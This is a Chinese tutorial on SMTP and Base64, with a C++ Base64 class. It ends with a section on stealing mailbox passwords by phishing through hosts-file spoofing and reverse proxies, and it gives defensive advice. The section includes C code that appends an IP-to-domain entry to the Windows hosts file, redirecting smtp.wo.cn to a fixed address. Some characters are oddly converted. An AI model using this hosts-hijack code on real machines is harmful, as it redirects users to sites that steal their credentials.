一、SMTP协议

SMTP(SimpleMail Transfer Protocol)即简单邮件传输协议。

SMTP协议属于TCP/IP协议簇,通过SMTP协议所指定的server,就能够把E-mail寄到收信人的server上。

SMTPserver则是遵循SMTP协议的发送邮件server,用来发送或中转发出的电子邮件。

SMTP使用TCP提供的可靠的传输数据服务把邮件消息从发信人的邮件server传送到收信人的邮件server。

跟大多数应用层协议一样,SMTP也存在两个 端:在发信人的邮件server上执行的client和在收信人的邮件server上执行的server端。SMTP的client和server端同一时候执行在每一个邮件server上。

当一个邮件server在向其它邮件server发送邮件消息时,它是作为SMTP客户在执行。

二、Base64编码

Base64是网络上最常见的用于传输8Bit字节代码的编码方式之中的一个,參见RFC2045~RFC2049,上面有MIME的具体规范。

Base64编码可用于在SMTP的username和password验证以及邮件附件编码。採用Base64编码具有不可读性,即所编码的数据不会被人用肉眼所直接看到。

// Base64.h: interface for the CBase64 class.
//
////////////////////////////////////////////////////////////////////// #if !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
#define AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_ #include <string>
#include <stdio.h>
#include <string.h> using namespace std; class CBase64
{
public:
CBase64();
virtual ~CBase64();
virtual int Decode(const char* szDecoding, char* szOutput );//base64 to ascii
virtual int Encode(const char* szEncoding, int nSize, char* szOutput);//ascii to base64 protected:
unsigned char encodeBuf[3000];
char Base2Chr( char n )
{
n &= 0x3F; return m_sBase64Alphabet[(int)n]; if ( n < 26 )
return ( char )( n + 'A' );
else if ( n < 52 )
return ( char )( n - 26 + 'a' );
else if ( n < 62 )
return ( char )( n - 52 + '0' );
else if ( n == 62 )
return '+';
else
return '/';
} unsigned char Chr2Base( char c )
{
if ( c >= 'A' && c <= 'Z' )
return ( unsigned char )( c - 'A' );
else if ( c >= 'a' && c <= 'z' )
return ( unsigned char )( c - 'a' + 26 );
else if ( c >= '0' && c <= '9' )
return ( unsigned char )( c - '0' + 52 );
else if ( c == '+' )
return 62;
else if ( c == '/' )
return 63;
else
return 64; // N^P'WV7{
}
static std::string m_sBase64Alphabet;
}; //modify end #endif // !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
// Base64.cpp: implementation of the CBase64 class.
#define _CRT_SECURE_NO_WARNINGS
#include "Base64.h"
// The 7-bit alphabet used to encode binary information //////////////////////////////////////////////////////////////////////
// Construction/Destruction
////////////////////////////////////////////////////////////////////// CBase64::CBase64()
{
memset(encodeBuf, 0, sizeof(encodeBuf));
} CBase64::~CBase64()
{ } std::string CBase64::m_sBase64Alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ); int CBase64::Decode(const char* szDecoding, char* szOutput )//base64 to ascii
{
unsigned char * p = (unsigned char *)szOutput;
int i, n = strlen( szDecoding );
unsigned char c, t; for ( i = 0; i < n; i++ )
{
if ( *szDecoding == '=' )
break;
do {
if ( *szDecoding )
c = Chr2Base( *szDecoding++ );
else
c = 65; // WV7{4.=aJx
} while ( c == 64 ); // Lx9}N^P'WV7{#,Hg;X355H
if ( c == 65 )
break;
switch ( i % 4 )
{
case 0 :
t = c << 2;
break;
case 1 :
*p++ = ( unsigned char )( t | ( c >> 4 ) );
t = ( unsigned char )( c << 4 );
break;
case 2 :
*p++ = ( unsigned char )( t | ( c >> 2 ) );
t = ( unsigned char )( c << 6 );
break;
case 3 :
*p++ = ( unsigned char )( t | c );
break;
}
}
//(char *)szOutput; return ( (char*)p - szOutput );
} int CBase64::Encode(const char* szEncoding, int nSize, char* szOutput)//ascii to base64
{
std::string sOutput = string("");
int nIndex = 0;
//unsigned char cTemp1[4096];
memset(encodeBuf, 0, sizeof(encodeBuf)); if (!szEncoding)
return 0;
/*else
(unsigned char*)szEncoding;*/ memcpy(encodeBuf, szEncoding, nSize); unsigned char *cTemp = encodeBuf; unsigned char t; for ( nIndex = 0; nIndex < nSize; nIndex++ )
{
switch ( nIndex % 3 )
{
case 0 :
sOutput += Base2Chr( *cTemp >> 2 );
t = ( *cTemp << 4 ) & 0x3F;
cTemp++;
break;
case 1 :
sOutput += Base2Chr( t | ( *cTemp >> 4 ) );
t = ( *cTemp << 2 ) & 0x3F;
cTemp++;
break;
case 2 :
sOutput += Base2Chr( t | ( *cTemp >> 6 ) );
sOutput += Base2Chr( *cTemp & 0x3F );
cTemp++;
break;
}
}
if ( nSize % 3 != 0 )
{
sOutput += Base2Chr( t );
if ( nSize % 3 == 1 )
sOutput += '=';
sOutput += '=';
} strcpy(szOutput, sOutput.c_str());
return sOutput.length();
}
#include <stdio.h>
#include <string.h>
#include "Base64.h" int main01()//这个是将ascii转化为base64的代码
{
CBase64 base;//创建CBase64类的一个实例,也叫一个对象,
char base64[100] = { 0 };
char ascii[100] = "18513105526";
base.Encode(ascii, strlen(ascii), base64);
printf("%s\n", base64);
return 0;
} int main()//这个是将base64转化为ascii的代码
{
CBase64 base;//创建CBase64类的一个实例,也叫一个对象。
char base64[100] = "UGFzc3dvcmQ6";
char ascii[100] = { 0 };
base.Decode(base64, ascii);//将base64这个字符串转化为ascii,结果放到ascii这个字符串里面
printf("%s\n", ascii);
return 0;
}

三、邮箱账户的破解与防护

1)hosts欺骗与钓鱼站点

钓鱼站点的实现以及怎样防范

钓鱼站点就是一个和真实站点样子非常相似的一个冒牌站点

钓鱼站点把用户输入的信息都截获了

钓鱼站点怎样让用户能主动登陆到钓鱼站点呢?

Hosts欺骗,在windows系统文件夹下有一个hosts文件,这个文件内部存放的就是IP和域名的相应关系

我仅仅须要在hosts文件里增加一行。比方要让用户登陆到mail.wo.cn这个站点的时候自己主动登陆钓鱼站点

Hosts文件里

123.57.211.212 mail.wo.cn

怎样防范,一定要定期检查你的hosts文件,看是否有未知的IP以及其它的域名信息,

不要擅自执行来路不明各种程序,由于有些程序就是恶意的改动你的hosts文件的

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma warning(disable:4996)//屏蔽vs 4996这个错误信息 int setHosts(const char *IP, const char *domain)//改动hosts文件
{
char s[100] = { 0 };
GetSystemDirectoryA(s, sizeof(s));//得到windows的系统安装文件夹
char path[1024] = { 0 };
sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
char content[1024] = { 0 };
sprintf(content, "\n%s %s", IP, domain);
FILE *p = fopen(path, "a");//用追加的方式打开hosts文件
if (p)
{
fputs(content, p);//将ip与域名的相应关系写入hosts文件
fclose(p);
return 0;//代表写入成功
}
return -1;// 写入hosts文件失败
} int main()
{
int rc = setHosts("123.57.211.212", "smtp.wo.cn");
printf("rc = %d\n", rc);
return 0;
}

2)反向代理

怎样通过反向代理来窃取password。以及怎样防范

通过反向代理,差点儿能够无缝的窃取client的非常多信息

一般如今的smtp都具备ssl。所以最好用ssl来连接邮件server。由于用ssl即使有反向代理截获了消息报文,但破译报文的代价会非常大。

为了邮箱的安全,请各位同学一定要使用带ssl功能的邮件server。ssl全部报文都是加密的

切记一定不能擅自执行各种来路不明的程序,有些程序就是通过改动hosts文件来达到钓鱼或者反向代理的恶意企图的。

邮箱的password一旦泄露,有时候代价会非常大。由于非常多骗子会利用你的邮箱发邮件。同一时候万一你的邮箱password和你的其它password是同样。那就更危急了。

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